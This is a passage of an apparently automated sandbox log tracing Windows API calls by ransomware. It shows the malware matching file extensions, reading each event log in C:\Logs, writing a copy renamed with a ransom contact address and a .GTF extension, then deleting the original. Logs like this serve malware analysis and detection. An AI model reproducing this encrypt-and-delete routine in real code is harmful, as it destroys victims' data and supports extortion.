	[0082.874] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString=".bz2") returned 4
	[0082.874] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString=".7z") returned 3
	[0082.874] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.874] lstrlenW (lpString=".dbf") returned 4
	[0082.874] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.874] lstrlenW (lpString=".1cd") returned 4
	[0082.874] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.874] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78
	[0082.874] lstrlenW (lpString=".jpg") returned 4
	[0082.874] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.874] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0082.874] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76
	[0082.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.149] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.149] CloseHandle (hObject=0x364) returned 1
	[0083.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0083.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.150] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.150] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.150] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.150] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0083.150] GetLastError () returned 0x0
	[0083.150] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.156] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.158] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.158] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x16c, lpOverlapped=0x0) returned 1
	[0083.158] SetEndOfFile (hFile=0x2fc) returned 1
	[0083.159] CloseHandle (hObject=0x2fc) returned 1
	[0083.161] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.161] SetEndOfFile (hFile=0x364) returned 1
	[0083.162] CloseHandle (hObject=0x364) returned 1
	[0083.163] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.163] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1
	[0083.163] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.163] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.163] lstrlenW (lpString=".doc") returned 4
	[0083.163] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.163] lstrlenW (lpString=".docx") returned 5
	[0083.163] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.163] lstrlenW (lpString=".pdf") returned 4
	[0083.163] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.163] lstrlenW (lpString=".xls") returned 4
	[0083.163] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.163] lstrlenW (lpString=".xlsx") returned 5
	[0083.163] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.163] lstrlenW (lpString=".ppt") returned 4
	[0083.163] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.163] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.163] lstrlenW (lpString=".zip") returned 4
	[0083.163] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".rar") returned 4
	[0083.164] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".bz2") returned 4
	[0083.164] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".7z") returned 3
	[0083.164] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString=".dbf") returned 4
	[0083.164] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString=".1cd") returned 4
	[0083.164] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString=".jpg") returned 4
	[0083.164] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString=".doc") returned 4
	[0083.164] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".docx") returned 5
	[0083.164] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.164] lstrlenW (lpString=".pdf") returned 4
	[0083.164] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".xls") returned 4
	[0083.164] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".xlsx") returned 5
	[0083.164] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.164] lstrlenW (lpString=".ppt") returned 4
	[0083.164] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.164] lstrlenW (lpString=".zip") returned 4
	[0083.164] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".rar") returned 4
	[0083.164] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.164] lstrlenW (lpString=".bz2") returned 4
	[0083.164] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.165] lstrlenW (lpString=".7z") returned 3
	[0083.165] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.165] lstrlenW (lpString=".dbf") returned 4
	[0083.165] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.165] lstrlenW (lpString=".1cd") returned 4
	[0083.165] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.165] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84
	[0083.165] lstrlenW (lpString=".jpg") returned 4
	[0083.165] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.165] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.165] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56
	[0083.165] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.165] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.165] CloseHandle (hObject=0x364) returned 1
	[0083.165] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0083.165] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.166] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.166] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.166] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.166] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0083.166] GetLastError () returned 0x0
	[0083.166] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.169] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.171] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.171] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x144, lpOverlapped=0x0) returned 1
	[0083.171] SetEndOfFile (hFile=0x2fc) returned 1
	[0083.171] CloseHandle (hObject=0x2fc) returned 1
	[0083.174] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.174] SetEndOfFile (hFile=0x364) returned 1
	[0083.175] CloseHandle (hObject=0x364) returned 1
	[0083.175] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.175] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1
	[0083.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.176] lstrlenW (lpString=".doc") returned 4
	[0083.176] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".docx") returned 5
	[0083.176] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.176] lstrlenW (lpString=".pdf") returned 4
	[0083.176] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".xls") returned 4
	[0083.176] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".xlsx") returned 5
	[0083.176] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.176] lstrlenW (lpString=".ppt") returned 4
	[0083.176] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.176] lstrlenW (lpString=".zip") returned 4
	[0083.176] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".rar") returned 4
	[0083.176] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".bz2") returned 4
	[0083.176] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.176] lstrlenW (lpString=".7z") returned 3
	[0083.176] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.176] lstrlenW (lpString=".dbf") returned 4
	[0083.177] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString=".1cd") returned 4
	[0083.177] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString=".jpg") returned 4
	[0083.177] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString=".doc") returned 4
	[0083.177] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".docx") returned 5
	[0083.177] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.177] lstrlenW (lpString=".pdf") returned 4
	[0083.177] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".xls") returned 4
	[0083.177] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".xlsx") returned 5
	[0083.177] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.177] lstrlenW (lpString=".ppt") returned 4
	[0083.177] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString=".zip") returned 4
	[0083.177] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".rar") returned 4
	[0083.177] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".bz2") returned 4
	[0083.177] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.177] lstrlenW (lpString=".7z") returned 3
	[0083.177] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.177] lstrlenW (lpString=".dbf") returned 4
	[0083.177] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.178] lstrlenW (lpString=".1cd") returned 4
	[0083.178] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.178] lstrlenW (lpString=".jpg") returned 4
	[0083.178] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.178] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.178] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44
	[0083.178] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.178] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.178] CloseHandle (hObject=0x364) returned 1
	[0083.178] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0083.178] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.178] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.178] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.179] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.179] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0083.179] GetLastError () returned 0x0
	[0083.179] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.183] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.184] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.184] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x12c, lpOverlapped=0x0) returned 1
	[0083.185] SetEndOfFile (hFile=0x2fc) returned 1
	[0083.185] CloseHandle (hObject=0x2fc) returned 1
	[0083.187] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.187] SetEndOfFile (hFile=0x364) returned 1
	[0083.188] CloseHandle (hObject=0x364) returned 1
	[0083.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.188] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString=".doc") returned 4
	[0083.189] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".docx") returned 5
	[0083.189] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.189] lstrlenW (lpString=".pdf") returned 4
	[0083.189] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".xls") returned 4
	[0083.189] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".xlsx") returned 5
	[0083.189] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.189] lstrlenW (lpString=".ppt") returned 4
	[0083.189] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString=".zip") returned 4
	[0083.189] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".rar") returned 4
	[0083.189] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".bz2") returned 4
	[0083.189] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString=".7z") returned 3
	[0083.189] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString=".dbf") returned 4
	[0083.189] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString=".1cd") returned 4
	[0083.189] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString=".jpg") returned 4
	[0083.189] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.189] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.190] lstrlenW (lpString=".doc") returned 4
	[0083.190] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".docx") returned 5
	[0083.190] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.190] lstrlenW (lpString=".pdf") returned 4
	[0083.190] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".xls") returned 4
	[0083.190] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".xlsx") returned 5
	[0083.190] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.190] lstrlenW (lpString=".ppt") returned 4
	[0083.190] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.190] lstrlenW (lpString=".zip") returned 4
	[0083.190] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".rar") returned 4
	[0083.190] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".bz2") returned 4
	[0083.190] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString=".7z") returned 3
	[0083.190] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.190] lstrlenW (lpString=".dbf") returned 4
	[0083.190] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.190] lstrlenW (lpString=".1cd") returned 4
	[0083.190] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
